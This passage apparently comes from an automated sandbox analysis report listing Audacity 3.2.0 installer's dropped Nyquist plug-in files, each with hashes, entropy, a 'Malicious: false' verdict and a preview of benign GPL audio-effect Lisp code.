Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Delay")..$manpage "Delay"..$debugbutton false..$author (_ "Steve Daulton")..$release 2.3.1-1..$copyright (_ "GNU General Public License v2.0")......;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;; based on 'Delay' by David R. Sky..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control delay-type (_ "Delay type") choice ((_ "Regular").. ("BouncingBall" (_ "Bouncing Ball")).. ("ReverseBouncingBall" (_ "Reverse Bouncing Ball"))) 0..$control dgain (_ "Delay level per echo (dB)") real "" -6 -30 1..$control delay (_ "Delay time (seconds)") real "" 0.3 0 5..$control pitch-type (_ "Pitch change effect") choice (("PitchTempo" (_ "Pitch/Tempo")).. ("LQPitchShift"

C:\Program Files\Audacity\Plug-Ins\is-P1C46.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4818
Entropy (8bit):	4.715418364021868
Encrypted:	false
SSDEEP:	96:sy8jPozWAFUF3iFLF5yFqFcM3FQsEqHyFDS4SgFDQFDxMn8FrFlFcUNts676/UVY:kIW4yMGsviYs8xMn//d4yb
MD5:	A25B32609F06A4B46008B868FB2BB1E4
SHA1:	922C1B9BDE49765D4A016DBCD3EA98CB90372AA6
SHA-256:	78EA11C52A2CCD496FB15DC89DC8D6E3D4A7DA81331E2A3CE42D987ACF36C11D
SHA-512:	0E8A80F7F49B381D040FFEF1750CD0D16AE79C6A530F62D36F02B3494A33BEA1F098C9C8A8A8E547F90EEF2586C582C78DA6C3C963A1E3E533C27BC9676B4F36
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$name (_ "Spectral Delete")..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......(defun sinc (x fc).. ;; http://www.dspguide.com/ch16/1.htm.. ;; Note that fc is a fraction of the sample rate... (if (= x 0).. (* 2 pi fc).. (/ (sin (* 2 pi fc x)) x)))....(defun blackman (i M).. ;; Where: 0 <= i <= M.. (+ 0.42.. (* -0.5 (cos (/ (* 2.0 pi i) M))).. (* 0.08 (cos (/ (* 4 pi i) M)))))....(defun calc-kernel (size fc).. ;; Generate windowed sinc kernel impulse.. (when (oddp size).. (error "Size of sinc filter must be even")).. (let ((ar (make-array (1+ size))).. (norm 0) ;Normalization factor.. val).. (do ((i 0 (1+ i))..

C:\Program Files\Audacity\Plug-Ins\is-QVTJ7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2751
Entropy (8bit):	4.674316894806004
Encrypted:	false
SSDEEP:	48:ICryfyCBhrdkFDzRiqwq5396jALyxlRG6l59zsjL6swlhBMmszdYFj0Dy:IDy8hrdkFDl5T48eX6vGc1uFj0W
MD5:	10FF6A3BBBDB3A48036522C0713076AA
SHA1:	F626CB20DEB7F74F49B8DD9B67EE861E27889E50
SHA-256:	10FB894A7B0D25BFBAA542B0A0F7C013CBFAE61D3F132C669CFC05D1AB849D30
SHA-512:	7E81783B8A71D44610309D825CAF10B9EF9CE74342D73BD2F681FDDB70CC467C7E15597BAFAA2F1C9828E4AB470182F2C15E2770CC663208D66B6F384BD3BBE5
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$preview linear..$name (_ "Spectral Edit Shelves")..$manpage "Spectral_edit_shelves"..$debugbutton false..$author (_ "Paul Licameli")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; SpectralEditShelves.ny by Paul Licameli, November 2014...;; Updated by Steve Daulton 2014 / 2015.......$control control-gain (_ "Gain (dB)") real "" 0 -24 24....(defmacro validate (hz).."If frequency is above Nyquist, don't use it".. `(if (or (>= ,hz (/ sound-srate 2.0)).. (<= ,hz 0)).. (setf ,hz nil)))....(defun mid-shelf (sig lf hf gain).. "Combines high shelf and low shelf filters".. (let ((invg (- gain))).. (scale (db-to-linear gain).. (eq-highshelf (eq-lowshelf sig lf

C:\Program Files\Audacity\Plug-Ins\is-SO3LD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.0411019506316626
Encrypted:	false
SSDEEP:	48:fLkPaMfyCBzu4w6MvG+zsC0/8kWCJeBvS0t13G:fLEy8zjCBG
MD5:	1B4063E3928B3608A048AE2BDB6FEA43
SHA1:	8B33328E367E9A54D56DD29DE3E111A0CB1535AE
SHA-256:	9C72D6FF8DE2FCA2330AEF0677B66979E933626AA20D29344F2F030D54DA8D20
SHA-512:	50E5F1B8178AE5E3AB7D999690BF17B491AA0216FA0D14D6C2CE56C9FB2D52D9C7681366B6E414574D4A6636CE58D23E290BAA357797AD601349D09A45BD36B1
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type generate..$name (_ "Pluck")..$manpage "Pluck"..$debugbutton false..$preview linear..$author (_ "David R.Sky")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")......;;MIDI values for C notes: 36, 48, 60 [middle C], 72, 84, 96.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control pitch (_ "Pluck MIDI pitch") int "" 60 1 120..$control fade (_ "Fade-out type") choice ((_ "Abrupt") (_ "Gradual")) 0..$control dur (_ "Duration (60s max)") time "" 1 0.0 60......; set final-amp for abrupt or gradual fade..(setf final-amp (if (= fade 1) 0.001 0.000001))....(cond.. ((> dur 0).. ;; Get length of preview.. (setq pdur.. (if (get 'track 'view) ;NIL if preview.. dur.. (get 'project 'preview-duration))).... (let* ((pluck-sound (snd-pluck

C:\Program Files\Audacity\Plug-Ins\is-SP0OV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	5.037528436069294
Encrypted:	false
SSDEEP:	24:KRcQJp3vjHPnxkCBNMLBDUzMzM1OcbMjZl:KD3rHfyCBemucez
MD5:	72E593F89716D11D9752BEE0CE59CEAB
SHA1:	9188688D5D5AEC38574C560BF14DA747A8EC2D0E
SHA-256:	BBB0E49795BF5BCE2DD3E97AC7E6E4656F825B506F4B2EBA28669BF0CCE148F9
SHA-512:	7DFEC921F31D0D35DFAF14D89A409D6D6CDA189BFD62746443956BD56AB99CB55453AFC30D0CB3418494142238BC1ECD60A805671684D6DB3CC4989ED3CFF245
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Notch Filter")..$manpage "Notch_Filter"..$debugbutton false..$author (_ "Steve Daulton and Bill Wharrie")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control frequency (_ "Frequency (Hz)") float-text "" 60 0 nil..$control q (_ "Q (higher value reduces width)") float-text "" 1 0.1 1000....(cond.. ((< frequency 0.1) (_ "Frequency must be at least 0.1 Hz.")).. ((>= frequency (/ sound-srate 2.0)).. (format nil (_ "Error:~%~%Frequency (~a Hz) is too high for track sample rate.~%~%~.. Track sample rate is ~a Hz.~%~.. Frequency must be less than ~a Hz.").. frequency.. sound-srate.. (/ *sound-srat

C:\Program Files\Audacity\Plug-Ins\is-TBL3M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8073
Entropy (8bit):	4.325707401008412
Encrypted:	false
SSDEEP:	96:KNy8JrfoJ2J2zUZrsWT7FG0FiV+k6rFipMZxUdCqv4LzsQGBKFLe5QOxlFJFP83i:KLrfoRz4rsWTk6rEaZxUUqv6JGRQTy
MD5:	9A138A1D755F227ABAC2401FAC3355EE
SHA1:	7E0F9F33CCD3310FB5D5AAA56756600D78D72D1C
SHA-256:	F1962D3EA9D35687741E5FB314AF56E5DCB61E45EDEACF1AF05BB0A094C752F1
SHA-512:	6F62F72B5867D62825A5112F76418A06153E014975BEA7AEAC1E74B45771F7009E9B37CA5D28A9D86A446E3912AD843A5A9033294E30D369A140A379801AF392
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$preview selection..$name (_ "Adjustable Fade")..$manpage "Adjustable_Fade"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control type (_ "Fade Type") choice (("Up" (_ "Fade Up")).. ("Down" (_ "Fade Down")).. ("SCurveUp" (_ "S-Curve Up")).. ("SCurveDown" (_ "S-Curve Down"))) 0..$control curve (_ "Mid-fade Adjust (%)") real "" 0 -100 100..$control units (_ "Start/End as") choice (("Percent" (_ "% of Original")).. ("dB" (_ "dB Gain"))) 0 ..$control gain0 (_ "Start (or end)") float

C:\Program Files\Audacity\Plug-Ins\is-V3UUL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10526
Entropy (8bit):	4.418187107274903
Encrypted:	false
SSDEEP:	192:klsxqQslPASez4kaMRKEp2oGkDd3S9OfE:+sxqlQ7Ykdc
MD5:	125EB282F9DD008D93C2F52A7FE68BFB
SHA1:	6B3CC32DA9C43220CDC60690E73205054B3AF292
SHA-256:	B355AE4A356BAD99B533453E05DCA4FA1AF6F8291F72853CE58D7C1E747934BB
SHA-512:	2E87F4DE4181D443A04D20528F586EE724E7F620FD4C057C4AD7557331234F48504B72597AFEFD9FE1930D11AFB0565DD017F13D37AAAE1F0B1CAA5B6B26084E
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type analyze..;i18n-hint: Name of effect that labels sounds..$name (_ "Label Sounds")..$manpage "Label_Sounds"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control threshold (_ "Threshold level (dB)") float "" -30 -100 0..$control measurement (_ "Threshold measurement") choice (("peak" (_ "Peak level")).. ("avg" (_ "Average level")).. ("rms" (_ "RMS level"))) 0..$control sil-dur (_ "Minimum silence duration") time "" 1 0.01 3600..$control snd-dur (_ "Minimum label interval") time "" 1 0.01 7200..$control type (_ "Label type") choice (("before" (_

C:\Program Files\Audacity\Plug-Ins\label-sounds.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10526
Entropy (8bit):	4.418187107274903
Encrypted:	false
SSDEEP:	192:klsxqQslPASez4kaMRKEp2oGkDd3S9OfE:+sxqlQ7Ykdc
MD5:	125EB282F9DD008D93C2F52A7FE68BFB
SHA1:	6B3CC32DA9C43220CDC60690E73205054B3AF292
SHA-256:	B355AE4A356BAD99B533453E05DCA4FA1AF6F8291F72853CE58D7C1E747934BB
SHA-512:	2E87F4DE4181D443A04D20528F586EE724E7F620FD4C057C4AD7557331234F48504B72597AFEFD9FE1930D11AFB0565DD017F13D37AAAE1F0B1CAA5B6B26084E
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type analyze..;i18n-hint: Name of effect that labels sounds..$name (_ "Label Sounds")..$manpage "Label_Sounds"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control threshold (_ "Threshold level (dB)") float "" -30 -100 0..$control measurement (_ "Threshold measurement") choice (("peak" (_ "Peak level")).. ("avg" (_ "Average level")).. ("rms" (_ "RMS level"))) 0..$control sil-dur (_ "Minimum silence duration") time "" 1 0.01 3600..$control snd-dur (_ "Minimum label interval") time "" 1 0.01 7200..$control type (_ "Label type") choice (("before" (_

C:\Program Files\Audacity\Plug-Ins\limiter.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4750
Entropy (8bit):	4.645460236197891
Encrypted:	false
SSDEEP:	96:4y8FPQYS2hFlF6FqFyFCFyFZFZPiFo3GjwKKLoWCHgF8+528hU1XW:oPQYZiWY0rV8hUVW
MD5:	655E3FD6F60054E0FAA2D4A8B19708C3
SHA1:	D1A261BB49037628342530AD97A1408CB9F30D8E
SHA-256:	1B7470C8E6095F7CC35CA835543F80620BA1FD181E522E462BBD3E0350FBDBAB
SHA-512:	33382BD2E29F48D2E4C4E25915D1BF993C1B62CB5FFEFD459FF019C98EB07CC34E68FBDBF3ADDCB77933FAE93717DF6A8A79BCFEB33911FFD750EE4DF168FE30
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Limiter")..$manpage "Limiter"..$debugbutton false..$preview enabled..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; limiter.ny by Steve Daulton November 2011, updated May 2015.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control type (_ "Type") choice (.. ("SoftLimit" (_ "Soft Limit")).. ("HardLimit" (_ "Hard Limit")).. ;i18n-hint: clipping of wave peaks and troughs, not division of a track into clips.. ("SoftClip" (_ "Soft Clip")).. ("HardClip" (_ "Hard Clip"))..) 0..$control gain-L (_ "Input Gain (dB)..mono/Left") real "" 0 0 10..$control gain-R (_ "Input Gain (dB)..Right channel") real "" 0 0 10..$control thresh (_ "Limit to (dB)") real "" -3 -10 0..$control hold (_ "Hold (ms)") r

C:\Program Files\Audacity\Plug-Ins\lowpass.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	4.592194090168389
Encrypted:	false
SSDEEP:	24:KcvIPv4tnxkCBNM3JyraOpUzMzM1OchMz5arc:KYIPvCyCBeEmOq+cQL
MD5:	BF693C7E64ED0829182F69407E0B10FB
SHA1:	6A90B6249598526CE36CF2F528D324E7CAC3CDB5
SHA-256:	BBBD5900C01477E444A8FCF4EB5A93B147622B8B2C2944B95F88B11BEB7E1C0B
SHA-512:	6D42FE0E1577D4CC6CE5A154140BC1E92A6A7EBE709B5A64EECED5A99B47EF50E2736F894BF47EA986A2B7FB2610F031EE045B95EA94F89F5AE38E1F42670662
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Low-Pass Filter")..$manpage "Low-Pass_Filter"..$debugbutton disabled..$author (_ "Dominic Mazzoni")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control frequency (_ "Frequency (Hz)") float-text "" 1000 0 nil..$control rolloff (_ "Roll-off (dB per octave)") choice (("dB6" (_ "6 dB")).. ("dB12" (_ "12 dB")).. ("dB24" (_ "24 dB")).. ("dB36" (_ "36 dB")).. ("dB48" (_ "48 dB"))) 0......(cond.. ((< frequency 0.1) (_ "Frequency must be at least 0.1 Hz.")).. ((>=

C:\Program Files\Audacity\Plug-Ins\noisegate.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6771
Entropy (8bit):	4.791286856460027
Encrypted:	false
SSDEEP:	96:h48RTKtMDeGWe0buYvLI0w2Ci6s7+37fX0cb6HuzFEDs5F7FnG9E:dT63KYz8G60cCKFWsRG9E
MD5:	F53E0425E919E522237614EC676A82AD
SHA1:	FFE8A463CCCEDE3B3D21F955CF7B59BC2BBD8263
SHA-256:	5B42029E57129C4BA686E8E107F6FFF7C80FAF9F0E433503416D52255FF29CE6
SHA-512:	615A1D152F6CD000730BD806E34ED6009B47999B5FC27E720896AFBA991F151F50F982AF33CB9F001FE92F61EE6EC65FC1C5135092879146ED973505EA1D4C00
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Noise Gate")..$manpage "Noise_Gate"..$debugbutton false..$preview enabled..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html ...;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control mode (_ "Select Function") choice (("Gate" (_ "Gate")).. ("Analyze" (_ "Analyze Noise Level"))).. 0..$control stereo-link (_ "Stereo Linking") choice (("LinkStereo" (_ "Link Stereo Tracks")).. ("DoNotLink" (_ "Don't Link Stereo"))).. 0..;; Work around bug 2336 - Text after control is not read by screen reader...$control threshold (_ "Gate threshold

C:\Program Files\Audacity\Plug-Ins\notch.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	5.037528436069294
Encrypted:	false
SSDEEP:	24:KRcQJp3vjHPnxkCBNMLBDUzMzM1OcbMjZl:KD3rHfyCBemucez
MD5:	72E593F89716D11D9752BEE0CE59CEAB
SHA1:	9188688D5D5AEC38574C560BF14DA747A8EC2D0E
SHA-256:	BBB0E49795BF5BCE2DD3E97AC7E6E4656F825B506F4B2EBA28669BF0CCE148F9
SHA-512:	7DFEC921F31D0D35DFAF14D89A409D6D6CDA189BFD62746443956BD56AB99CB55453AFC30D0CB3418494142238BC1ECD60A805671684D6DB3CC4989ED3CFF245
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Notch Filter")..$manpage "Notch_Filter"..$debugbutton false..$author (_ "Steve Daulton and Bill Wharrie")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control frequency (_ "Frequency (Hz)") float-text "" 60 0 nil..$control q (_ "Q (higher value reduces width)") float-text "" 1 0.1 1000....(cond.. ((< frequency 0.1) (_ "Frequency must be at least 0.1 Hz.")).. ((>= frequency (/ sound-srate 2.0)).. (format nil (_ "Error:~%~%Frequency (~a Hz) is too high for track sample rate.~%~%~.. Track sample rate is ~a Hz.~%~.. Frequency must be less than ~a Hz.").. frequency.. sound-srate.. (/ *sound-srat

C:\Program Files\Audacity\Plug-Ins\nyquist-plug-in-installer.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8761
Entropy (8bit):	4.6296217613814825
Encrypted:	false
SSDEEP:	192:d3vzc8yUVBVqTg3G1Fw0tsiK0CONDmld2ccd:d3vby1TgkFvvMzcd
MD5:	C07610E8344DB072884AB7E509CB9188
SHA1:	2A093C00438C421A8A81A2794D8342EE2EF43DE4
SHA-256:	EF5F211D1061BD74E20F7D6046C93D2C3CD47AD2FB745EFC0D0F74A254FBB920
SHA-512:	693D4C35262B0ED051781916C26FB363910A4B39293625C78E3DB4276B4E5300CDFDF3B3DEB0072C1DB7E7E3EEFD01834317DDD5909602E4059BF7F12C8A24A8
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool..$name (_ "Nyquist Plugin Installer")..$manpage "Nyquist_Plug-in_Installer"..$debugbutton false..$preview disabled..$author "Steve Daulton"..$release 2.4.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;i18n-hint: "Browse..." is text on a button that launches a file browser...$control files (_ "Select file(s) to install") file (_ "Browse...") "~/Desktop/" (((_ "Plug-in") (ny NY)).. ((_ "Lisp file") (lsp LSP)).. ((_ "HTML file") (htm HTM html HTML)).. ((_ "Text file") (txt TXT)).. ((_ "All supported") (ny NY lsp LSP htm HTM html HTML txt TXT)).. ((_ "All files") (""))) "open,exists,multiple"..$control overwrite

C:\Program Files\Audacity\Plug-Ins\pluck.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.0411019506316626
Encrypted:	false
SSDEEP:	48:fLkPaMfyCBzu4w6MvG+zsC0/8kWCJeBvS0t13G:fLEy8zjCBG
MD5:	1B4063E3928B3608A048AE2BDB6FEA43
SHA1:	8B33328E367E9A54D56DD29DE3E111A0CB1535AE
SHA-256:	9C72D6FF8DE2FCA2330AEF0677B66979E933626AA20D29344F2F030D54DA8D20
SHA-512:	50E5F1B8178AE5E3AB7D999690BF17B491AA0216FA0D14D6C2CE56C9FB2D52D9C7681366B6E414574D4A6636CE58D23E290BAA357797AD601349D09A45BD36B1
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type generate..$name (_ "Pluck")..$manpage "Pluck"..$debugbutton false..$preview linear..$author (_ "David R.Sky")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")......;;MIDI values for C notes: 36, 48, 60 [middle C], 72, 84, 96.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control pitch (_ "Pluck MIDI pitch") int "" 60 1 120..$control fade (_ "Fade-out type") choice ((_ "Abrupt") (_ "Gradual")) 0..$control dur (_ "Duration (60s max)") time "" 1 0.0 60......; set final-amp for abrupt or gradual fade..(setf final-amp (if (= fade 1) 0.001 0.000001))....(cond.. ((> dur 0).. ;; Get length of preview.. (setq pdur.. (if (get 'track 'view) ;NIL if preview.. dur.. (get 'project 'preview-duration))).... (let* ((pluck-sound (snd-pluck

C:\Program Files\Audacity\Plug-Ins\rhythmtrack.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7558
Entropy (8bit):	4.774369472012177
Encrypted:	false
SSDEEP:	96:fzWvey8A694QmVEKVKylYtw2FIFtFqhFO/7Djuet4BuDuNs83NFP8e9iOFiGvFWp:fzUDvV1hlYtwdLSv2r8gv
MD5:	45FE96B10537FD59271E403AD5A002D8
SHA1:	5BBE15C0777CB0DB482FBDE513E5F867875D8D35
SHA-256:	BF611D823EFE0475BBB81D209D87CCFD37CFA236EFC9220E84F219E962387736
SHA-512:	6B5C4CA583E03D6A032C30C1D3CD7A29B02CB707873BF6CCE1581549186A98914493D58B66A54C8567E253284CF71E0C7F0C965031245B2C4F1ADBE33430C204
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type generate..$name (_ "Rhythm Track")..$manpage "Rhythm_Track"..$debugbutton false..$preview linear..$author (_ "Dominic Mazzoni, David R. Sky and Steve Daulton")..$release 3.0.0-1..$copyright (_ "GNU General Public License v2.0")......;; Drip sound generator by Paul Beach....;; TODO: add more drum sounds....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control tempo (_ "Tempo (bpm)") real (_ "30 - 300 beats/minute") 120 30 300..$control timesig (_ "Beats per bar") int (_ "1 - 20 beats/measure") 4 1 20..$control swing (_ "Swing amount") float (_ "+/- 1") 0 -1 1..$control text (_ "Set 'Number of bars' to zero to enable the 'Rhythm track duration'.")..$control bars (_ "Number of bars") int (_ "1 - 1000 bars") 16 0 1000..$control click-track-dur (_ "Rhythm track duration") time (_ "Use

C:\Program Files\Audacity\Plug-Ins\rissetdrum.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2829
Entropy (8bit):	4.904127406733189
Encrypted:	false
SSDEEP:	48:foImo6r6RcWfyCB06/SxYaeGJjInvr9b5FEywZAqy3Cd0TFRFoFm5jTTbi6kWd:foDou0y8xaSaeGe0ZAqICKFRFoFMTbiu
MD5:	D5CD82B1DA32383979A6F84B84318B22
SHA1:	66D7F574A2D786A62F735801415D981DB1711FDB
SHA-256:	B549F5C9179FBBD3235697559941086D32833D33BB03668DC1BE9CFF36796C96
SHA-512:	B6DF4DE0149D90F16A765932185DE86EC4D294E067A92EFAFF75C0F604418843BAC4EEEC4E355FC635F73424E02A0490326849C7C89A9308A374A8BE729BBAD2
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type generate..$preview linear..$i18n-hint named for Jean-Claude Risset (silent t)..$name (_ "Risset Drum")..$manpage "Risset_Drum"..$debugbutton false..$author (_ "Steven Jones")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; rissetdrum.ny by Steven Jones, after Jean Claude Risset...;; Updated by Steve Daulton 2012 and May 2015.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control freq (_ "Frequency (Hz)") real "" 100 50 2000..$control decay (_ "Decay (seconds)") real "" 2 0.1 60..$control cf (_ "Center frequency of noise (Hz)") real "" 500 100 5000..$control bw (_ "Width of noise band (Hz)") real "" 400 10 1000..$control noise (_ "Amount of noise in mix (percent)") real "" 25 0 100..$control gain (_ "Amplitude (0 - 1)") real "" 0.8 0 1......(d

C:\Program Files\Audacity\Plug-Ins\rms.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2302
Entropy (8bit):	4.736384692648744
Encrypted:	false
SSDEEP:	48:URryfyCBhQWsWaUWLr/h1g8wyd7/MWHv1xclEmTb9:zy8B3aPfh1gO7Pu9
MD5:	9E7CEDA19FD263541C0EAEDB17B276D2
SHA1:	D60992741C05ADE755F3864B433E34AC9E9E705B
SHA-256:	505081470171EE97E27733D27941C77EC2A747BF970DBEC60DDAB3CAC8A161A1
SHA-512:	852D22C7402C2A4B9BB66816FD558CBDF59CB8CF2376FA3C37AB88ADA31AAEA569681A1724D30C8E7E16B6751A8B74747C9AFF92D44E40276842A7131802CD4F
Malicious:	false
